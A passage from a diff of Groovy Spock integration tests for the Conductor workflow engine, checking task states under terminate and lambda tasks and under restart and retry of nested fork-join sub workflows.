tasks[0].status == Task.Status.SCHEDULED + tasks[0].seq == 1 + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op':'task1 completed']) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has FAILED due to terminate task" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 3 + output.size() == 1 + output as String == "[output:task1 completed]" + reasonForIncompletion.contains('Workflow is FAILED by TERMINATE task') + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['op'] == 'task1 completed' + tasks[0].seq == 1 + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[1].seq == 2 + tasks[2].taskType == 'TERMINATE' + tasks[2].status == Task.Status.COMPLETED + tasks[2].seq == 3 + } + } + + def "Test workflow with lambda task"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['a'] = 1 + + when: "Start the workflow which has the terminate task" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_LAMBDA_TASK, 1, + '', workflowInput, null) + + then: "verify that the task is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'LAMBDA' + tasks[0].outputData as String == "[result:[testvalue:true]]" + tasks[0].seq == 1 + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/NestedForkJoinSubWorkflowSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/NestedForkJoinSubWorkflowSpec.groovy new file mode 100644 index 0000000..32a0b71 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/NestedForkJoinSubWorkflowSpec.groovy @@ -0,0 +1,833 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW + +class NestedForkJoinSubWorkflowSpec extends AbstractSpecification { + + @Shared + def FORK_JOIN_NESTED_SUB_WF = 'nested_fork_join_swf' + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + @Autowired + Join joinTask + + @Autowired + SubWorkflow subWorkflowTask + + String parentWorkflowId, subworkflowId + + TaskDef persistedTask2Definition + + def setup() { + workflowTestUtil.registerWorkflows('nested_fork_join_swf.json', + 'simple_workflow_1_integration_test.json' + ) + + //region Test setup: 3 workflows reach FAILED state. Task 'integration_task_2' in leaf workflow is FAILED. + setup: "Modify task definition to 0 retries" + persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(FORK_JOIN_NESTED_SUB_WF, 1) + + and: "input required to start the workflow execution" + String correlationId = 'retry_on_root_in_3level_wf' + def input = [ + 'param1' : 'p1 value', + 'param2' : 'p2 value', + 'subwf' : SIMPLE_WORKFLOW] + + when: "the workflow is started" + parentWorkflowId = startWorkflow(FORK_JOIN_NESTED_SUB_WF, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + def nestedSetupSubWfTask = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (nestedSetupSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, nestedSetupSubWfTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + def parentWorkflowInstance = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + with(parentWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + and: "verify that the mid-level workflow is RUNNING, and first task is in SCHEDULED state" + subworkflowId = parentWorkflowInstance.tasks[2].subWorkflowId + sweep(subworkflowId) + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "poll and fail the integration_task_2 task in the sub workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'task2 failed') + + then: "the sub workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + when: "the parent workflow is swept" + sweep(parentWorkflowId) + + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.FAILED + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.CANCELED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.CANCELED + } + //endregion + } + + def cleanup() { + metadataService.updateTaskDef(persistedTask2Definition) + } + + /** + * On a nested fork join workflow where all workflows reach FAILED state because of a FAILED task + * in the sub workflow. + * + * A restart is executed on the sub workflow. + * + * Expectation: The sub workflow spawns a execution with the same id. + * When the sub workflow completes successfully, the parent workflow also completes successfully. + */ + def "test restart on the sub workflow in a nested fork join workflow"() { + when: + workflowExecutor.restart(subworkflowId, false) + sweep(parentWorkflowId) + + then: "verify that the subworkflow is RUNNING state" + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "verify that the parent workflow is updated" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the parent workflow is swept" + def workflow = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + def outerJoinId = workflow.getTaskByRefName("outer_join").taskId + def innerJoinId = workflow.getTaskByRefName("inner_join").taskId + sweep(parentWorkflowId) + + then: "verify that the flag is reset and JOIN is updated" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete both tasks in the sub workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the subworkflow completed" + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + and: "verify that the parent workflow's sub workflow task is completed" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.COMPLETED + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the parent workflow is swept" + sweep(parentWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, innerJoinId) + asyncSystemTaskExecutor.execute(joinTask, outerJoinId) + + then: "verify that the parent workflow reaches COMPLETED with all tasks completed" + assertParentWorkflowIsComplete() + } + + /** + * On a nested fork join workflow where all workflows reach FAILED state because of a FAILED task + * in the sub workflow. + * + * A restart is executed on the parent workflow. + * + * Expectation: The parent workflow spawns a execution with the same id, which in turn creates a new instance of the sub workflow. + * When the sub workflow completes successfully, the parent workflow also completes successfully. + */ + def "test restart on the parent workflow in a nested fork join workflow"() { + when: + workflowExecutor.restart(parentWorkflowId, false) + def restartedNestedSubWfTask = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (restartedNestedSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, restartedNestedSubWfTask.taskId) + } + + then: "verify that the parent workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def workflow = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + def outerJoinId = workflow.getTaskByRefName("outer_join").taskId + def innerJoinId = workflow.getTaskByRefName("inner_join").taskId + + then: "verify that SUB_WORKFLOW task in in progress" + def parentWorkflowInstance = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + and: "verify that a new instance of the sub workflow is created" + def newSubWorkflowId = parentWorkflowInstance.tasks[2].subWorkflowId + sweep(newSubWorkflowId) + newSubWorkflowId != subworkflowId + with(workflowExecutionService.getExecutionStatus(newSubWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete both tasks in the sub workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the subworkflow completed" + with(workflowExecutionService.getExecutionStatus(newSubWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + and: "verify that the parent workflow's sub workflow task is completed" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.COMPLETED + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the parent workflow is swept" + sweep(parentWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, innerJoinId) + asyncSystemTaskExecutor.execute(joinTask, outerJoinId) + + then: "verify that the parent workflow reaches COMPLETED with all tasks completed" + assertParentWorkflowIsComplete() + } + + /** + * On a nested fork join workflow where all workflows reach FAILED state because of a FAILED task + * in the sub workflow. + * + * A retry is executed on the parent workflow. + * + * Expectation: The parent workflow spawns a execution with the same id, which in turn creates a new instance of the sub workflow. + * When the sub workflow completes successfully, the parent workflow also completes successfully. + */ + def "test retry on the parent workflow in a nested fork join workflow"() { + when: + workflowExecutor.retry(parentWorkflowId, false) + def retriedNestedSubWfTask = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (retriedNestedSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, retriedNestedSubWfTask.taskId) + } + + then: "verify that the parent workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 8 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.FAILED + tasks[2].retried + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + tasks[7].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[7].status == Task.Status.IN_PROGRESS + tasks[7].retriedTaskId == tasks[2].taskId + } + + then: "verify that SUB_WORKFLOW task in in progress" + def parentWorkflowInstance = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 8 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.FAILED + tasks[2].retried + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + tasks[7].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[7].status == Task.Status.IN_PROGRESS + tasks[7].retriedTaskId == tasks[2].taskId + } + + and: "verify that a new instance of the sub workflow is created" + def newSubWorkflowId = parentWorkflowInstance.tasks[7].subWorkflowId + newSubWorkflowId != subworkflowId + sweep(newSubWorkflowId) + with(workflowExecutionService.getExecutionStatus(newSubWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete both tasks in the sub workflow" + def workflow = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + def outerJoinId = workflow.getTaskByRefName("outer_join").taskId + def innerJoinId = workflow.getTaskByRefName("inner_join").taskId + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the subworkflow completed" + with(workflowExecutionService.getExecutionStatus(newSubWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + and: "verify that the parent workflow's sub workflow task is completed" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 8 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.FAILED + tasks[2].retried + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + tasks[7].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[7].status == Task.Status.COMPLETED + tasks[7].retriedTaskId == tasks[2].taskId + } + + when: "the parent workflow is swept" + sweep(parentWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, innerJoinId) + asyncSystemTaskExecutor.execute(joinTask, outerJoinId) + + then: "verify that the parent workflow reaches COMPLETED with all tasks completed" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 8 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.FAILED + tasks[2].retried + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[7].status == Task.Status.COMPLETED + tasks[7].retriedTaskId == tasks[2].taskId + } + } + + /** + * On a nested fork join workflow where all workflows reach FAILED state because of a FAILED task + * in the sub workflow. + * + * A retry with resume flag is executed on the parent workflow. + * + * Expectation: The parent workflow spawns a execution with the same id, which in turn creates a new instance of the sub workflow. + * When the sub workflow completes successfully, the parent workflow also completes successfully. + */ + def "test retry with resume on the parent workflow in a nested fork join workflow"() { + when: + workflowExecutor.retry(parentWorkflowId, true) + sweep(parentWorkflowId) + + then: "verify that the sub workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + and: "verify that the parent's SUB_WORKFLOW task is updated" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the parent is swept" + sweep(parentWorkflowId) + + then: "verify that parent's JOIN task in in progress" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the failed task in the sub workflow" + def workflow = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + def outerJoinId = workflow.getTaskByRefName("outer_join").taskId + def innerJoinId = workflow.getTaskByRefName("inner_join").taskId + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the subworkflow completed" + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + and: "verify that the parent workflow's sub workflow task is completed" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the parent workflow is swept" + sweep(parentWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, innerJoinId) + asyncSystemTaskExecutor.execute(joinTask, outerJoinId) + + then: "verify the parent workflow reaches COMPLETED state" + assertParentWorkflowIsComplete() + } + + /** + * On a nested fork join workflow where all workflows reach FAILED state because of a FAILED task + * in the sub workflow. + * + * A retry is executed on the parent workflow. + * + * Expectation: The parent workflow spawns a execution with the same id, which in turn creates a new instance of the sub workflow. + * When the sub workflow completes successfully, the parent workflow also completes successfully. + */ + def "test retry on the sub workflow in a nested fork join workflow"() { + when: + workflowExecutor.retry(subworkflowId, false) + sweep(parentWorkflowId) + + then: "verify that the sub workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].retriedTaskId == tasks[1].taskId + } + + and: "verify that the parent's SUB_WORKFLOW task is updated" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 